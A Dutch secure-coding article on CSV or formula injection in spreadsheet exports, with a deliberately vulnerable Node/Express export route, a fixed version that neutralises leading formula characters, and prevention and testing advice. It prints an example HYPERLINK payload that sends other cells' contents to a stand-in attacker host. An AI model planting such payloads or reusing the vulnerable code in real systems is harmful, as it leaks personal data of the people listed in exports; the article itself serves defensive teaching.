CSV-injectie in exportbestanden
CWE-1236OWASP A03:2021Bijgewerkt 3 september 20265 min leestijd
Begint een celwaarde in een geëxporteerd bestand met een isgelijkteken of een plusteken, dan behandelt Excel die als formule en voert hem uit bij het openen. Een aanvaller die zulke tekst in uw applicatie kan achterlaten, laat zijn formule draaien op de computer van de medewerker die de export opent, buiten uw applicatie en buiten uw zicht.
De meeste injectieaanvallen richten zich op uw server. CSV-injectie doet iets ongebruikelijks: de code draait niet bij u, maar op de laptop van de collega die de export opent. Uw applicatie is daarbij niet het doelwit maar het transportmiddel, en juist dat maakt de aanval effectief en lastig te herkennen. Hieronder leest u hoe de keten werkt en waar u hem breekt.
Wat is CSV-injectie?
CSV-injectie, ook wel formula injection genoemd, maakt gebruik van een eigenschap van spreadsheetprogramma’s: een cel die begint met een isgelijkteken wordt niet als tekst gelezen maar als formule, en die formule wordt uitgevoerd zodra het bestand wordt geopend. Datzelfde geldt voor cellen die beginnen met een plusteken, een minteken of een apenstaartje.
Een CSV-bestand kent geen typen. Er staat alleen tekst, gescheiden door komma’s; het programma dat het opent beslist wat elke waarde betekent. Slaagt een aanvaller erin om ergens in uw applicatie tekst achter te laten die later in een export terechtkomt, dan bepaalt hij daarmee de inhoud van een cel, en dus mogelijk een formule.
Het lijkt op een formulier dat u invult en dat later door een machine wordt gelezen die bepaalde notaties als instructie opvat. U vult netjes uw naam in; iemand anders vult een instructie in. De machine ziet geen verschil, want beide zijn gewoon tekens in een vakje.
Hoe verloopt een CSV-injectieaanval?
De aanval is opvallend indirect en verloopt in drie stappen die soms weken uit elkaar liggen.
Kwetsbaar:
// Waarden worden ongewijzigd aan elkaar geplakt
app.get('/beheer/aanmeldingen.csv', async (req, res) => {
const rijen = await aanmeldingen.alle();
const csv = ['naam,email,opmerking']
.concat(rijen.map((r) => `${r.naam},${r.email},${r.opmerking}`))
.join('\n');
res.set('Content-Type', 'text/csv');
res.send(csv);
});
De aanvaller vult in een openbaar aanmeldformulier bij het veld “naam” het volgende in:
=HYPERLINK("https://kwaadaardig.example/x?d="&A2&B2,"Klik voor details")
In de applicatie zelf gebeurt er niets bijzonders; het is een vreemde naam in een lijst. Toch wanneer een medewerker later de export opent, ziet hij in die cel een nette link staan. Klikt hij erop, dan worden de inhoud van de omliggende cellen, namen en e-mailadressen van andere aanmelders, als parameter naar de server van de aanvaller gestuurd.
Er bestaan zwaardere varianten. Met een formule die een externe toepassing aanroept, kan een spreadsheetprogramma worden verleid tot het uitvoeren van een commando op het werkstation. Moderne versies tonen daarbij een waarschuwing, maar die waarschuwing verschijnt in een bestand dat de gebruiker zelf uit een vertrouwd systeem heeft gedownload, en dan wordt er geklikt.
Veilig:
const GEVAARLIJK = ['=', '+', '-', '@', '\t', '\r'];
function veiligeCel(waarde) {
let tekst = String(waarde ?? '');
// Een leidend teken dat als formule kan worden gelezen, onschadelijk maken
if (GEVAARLIJK.includes(tekst[0])) {
tekst = `'${tekst}`;
}
// Daarna pas de gewone CSV-regels toepassen
return `"${tekst.replace(/"/g, '""')}"`;
}
app.get('/beheer/aanmeldingen.csv', async (req, res) => {
const rijen = await aanmeldingen.alle();
const csv = ['naam,email,opmerking']
.concat(rijen.map((r) => [r.naam, r.email, r.opmerking].map(veiligeCel).join(',')))
.join('\n');
res.set('Content-Type', 'text/csv; charset=utf-8');
res.set('Content-Disposition', 'attachment; filename="aanmeldingen.csv"');
res.send('' + csv);
});
Het leidende teken wordt voorafgegaan door een apostrof, waarmee het spreadsheetprogramma de cel als tekst behandelt. Pas daarna volgt het gewone ontsnappen voor het CSV-formaat, want de twee zijn niet hetzelfde: aanhalingstekens beschermen tegen een verschoven kolom, niet tegen een formule.
De robuustere route is helemaal geen CSV schrijven maar een echt spreadsheetbestand, waarbij u per cel vastlegt dat de inhoud tekst is. Dan is er geen interpretatie meer die verkeerd kan uitvallen.
Wat is de impact van CSV-injectie?
De ernst loopt van middelzwaar tot hoog, en dat hangt vooral af van wie de export opent en met welke rechten. Wat de bevinding onderscheidt, is dat de schade buiten uw applicatie valt.
Het meest voorkomende gevolg is het weglekken van gegevens uit het exportbestand zelf. Een formule kan de inhoud van andere cellen in een externe aanroep verwerken, waarmee precies de gegevens weglekken die in dat bestand staan, vaak een volledige lijst van klanten of medewerkers.
Ernstiger wordt het wanneer het spreadsheetprogramma wordt verleid tot het starten van een extern proces. Dan verplaatst de aanval zich naar het werkstation van de medewerker, met diens rechten en binnen uw interne netwerk. Dat is precies het soort startpunt waarmee een aanvaller zich verder door een organisatie beweegt. En omdat de exports meestal door beheerders of medewerkers met een breed overzicht worden geopend, gaat het zelden om een willekeurig werkstation.
Detectie is om een simpele reden moeilijk: in uw applicatie is niets gebeurd. De invoer is netjes opgeslagen, de export is netjes gegenereerd. Het incident vindt plaats op een laptop, in een programma dat u niet beheert.
Hoe spoor je CSV-injectie op?
Een tester inventariseert eerst welke gegevens door gebruikers kunnen worden aangeleverd en later in een export terechtkomen: aanmeldformulieren, contactverzoeken, opmerkingenvelden, profielgegevens, maar ook waarden die via een API of een koppeling binnenkomen.
Vervolgens wordt in die velden een onschuldige testformule geplaatst en de export gedownload om te zien of het leidende teken behouden is gebleven. Een formule die als tekst in het bestand staat zonder voorafgaande apostrof, is een bevestigde bevinding: het uitvoeren gebeurt immers pas bij de ontvanger en hoeft niet te worden aangetoond om het risico vast te stellen. Ook wordt gekeken naar alle exportroutes afzonderlijk, want applicaties hebben er vaak meerdere en die zijn zelden door dezelfde ontwikkelaar geschreven. Datzelfde geldt voor rapportages die per e-mail worden verstuurd en voor bestanden die automatisch naar een gedeelde map worden weggeschreven. AssistSec neemt daarbij ook de omgekeerde richting mee: bestanden die uw applicatie inleest, verdienen dezelfde behandeling.
Hoe voorkom je CSV-injectie?
- Plaats bij het exporteren een apostrof voor elke celwaarde die begint met
=,+,-,@, een tab of een carriage return. - Voer die bewerking uit bij het genereren van het bestand, niet bij het opslaan van de invoer.
- Pas daarnaast de gewone CSV-regels toe door aanhalingstekens correct te verdubbelen.
- Genereer bij voorkeur een echt spreadsheetbestand waarin u celtypen expliciet op tekst zet.
- Behandel alle exportroutes gelijk, inclusief rapportages per e-mail en geautomatiseerde uitvoer.
- Stuur exports met
Content-Disposition: attachmenten een expliciete tekenset mee. - Pas dezelfde controle toe op gegevens die via API’s of koppelingen binnenkomen, niet alleen op webformulieren.
- Wijs medewerkers erop dat ze waarschuwingen van hun spreadsheetprogramma serieus nemen, ook bij een vertrouwd bestand.
Bronnen
Veelgestelde vragen
Is dit wel mijn probleem als het spreadsheetprogramma het uitvoert?
Ja. Uw applicatie levert het bestand af en uw gebruiker vertrouwt het juist daarom. Dat het uitvoeren elders gebeurt, maakt de keten niet minder uw verantwoordelijkheid; het maakt hem alleen moeilijker te zien in uw eigen logbestanden.
Welke tekens moet ik afvangen?
De klassieke zijn het isgelijkteken, het plusteken, het minteken en het apenstaartje aan het begin van een cel. Daarnaast tab en carriage return, omdat die de cel kunnen verschuiven zodat een volgend teken alsnog vooraan komt te staan. Beoordeel altijd het eerste zichtbare teken.
Helpt het om waarden tussen aanhalingstekens te zetten?
Nee. Aanhalingstekens zijn onderdeel van het CSV-formaat en bakenen het veld af; ze worden verwijderd bij het inlezen. De formule staat daarna gewoon vooraan in de cel en wordt alsnog uitgevoerd. U moet het eerste teken zelf onschadelijk maken.
Is een echt XLSX-bestand veiliger?
In zoverre dat u dan expliciet bepaalt of een cel tekst of formule is, wat de aanval structureel uitsluit. Dat is dan ook de meest robuuste oplossing: schrijf met een spreadsheetbibliotheek en zet celtypen expliciet op tekst, in plaats van komma's aan elkaar te plakken.
Verwante artikelen
- KwetsbaarhedenCWE-78A03:2021OS command injectionOS command injection uitgelegd: hoe shell-tekens in een systeemaanroep belanden, wat een aanvaller ermee kan en hoe argumentarrays het voorkomen.
- KwetsbaarhedenCWE-79A03:2021Cross-site scripting (XSS)Cross-site scripting (XSS) laat aanvallers scripts injecteren die in de browser van uw bezoekers draaien. Zo werkt de aanval en zo voorkomt u het.
- KwetsbaarhedenCWE-200A01:2021Information disclosureInformation disclosure uitgelegd: hoe stack traces, .git-mappen, source maps en te ruime API-responses gegevens lekken, en hoe u dat voorkomt.
- KwetsbaarhedenCWE-20A04:2021Invoervalidatie ontbreekt op de serverValidatie die alleen in JavaScript gebeurt, is met één direct verzoek te omzeilen. Lees waarom de server elke waarde opnieuw moet controleren.